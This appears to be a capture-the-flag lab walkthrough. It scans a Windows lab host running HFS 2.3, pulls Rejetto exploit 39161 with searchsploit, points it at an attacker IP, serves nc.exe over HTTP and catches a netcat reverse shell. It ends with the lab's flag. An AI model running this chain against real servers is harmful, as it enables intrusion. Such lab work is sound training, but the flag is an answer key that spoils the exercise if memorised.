01. Fixing Exploits
Nmap Scan
nmap -sV -sC -O 10.3.25.135
```text
root@attackdefense:~# nmap -sV -sC -O 10.3.25.135
Starting Nmap 7.70 ( https://nmap.org ) at 2023-09-09 06:30 IST
Stats: 0:01:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.92% done; ETC: 06:32 (0:00:00 remaining)
Nmap scan report for 10.3.25.135
Host is up (0.0035s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WIN-OMCNBKR66MN
| Not valid before: 2023-09-08T00:58:29
|_Not valid after: 2024-03-09T00:58:29
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=9/9%OT=80%CT=1%CU=37392%PV=Y%DS=3%DC=I%G=Y%TM=64FBC414
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS=7)
OS:OPS(O1=M546NW8ST11%O2=M546NW8ST11%O3=M546NW8NNT11%O4=M546NW8ST11%O5=M546
OS:NW8ST11%O6=M546ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)
OS:ECN(R=Y%DF=Y%T=7F%W=2000%O=M546NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=7F%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=7F%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=
OS:7F%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=7F%W=0%S=A%A=O%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=7F%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=7F%W=0%S=
OS:A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=7F%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=7F%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=7F%CD=Z)
Network Distance: 3 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-09-09 06:32:07
|_ start_date: 2023-09-09 06:28:21
```
Searchsploit
searchsploit rejetto
searchsploit -m 39161
Modify Exploit
-
vim /root/39161.py-
Modify with our attacker IP and port:
-
-
Host HTTP Server w/ncat.exe
-
cd Desktop/ -
cp /usr/share/windows-resources/binaries/nc.exe . -
python3 -m http.server 80 -
nc -lvnp 1234 -
python 39161.py <TARGET_IP> <PORT> -
Catch shell.
-
-
Type
systeminfoto enumerate sys.
NOTE: There are times where the exploit(s) need to be executed more than once for it to work.
Flag
-
f74c8347798f4082daf4b4570dba094a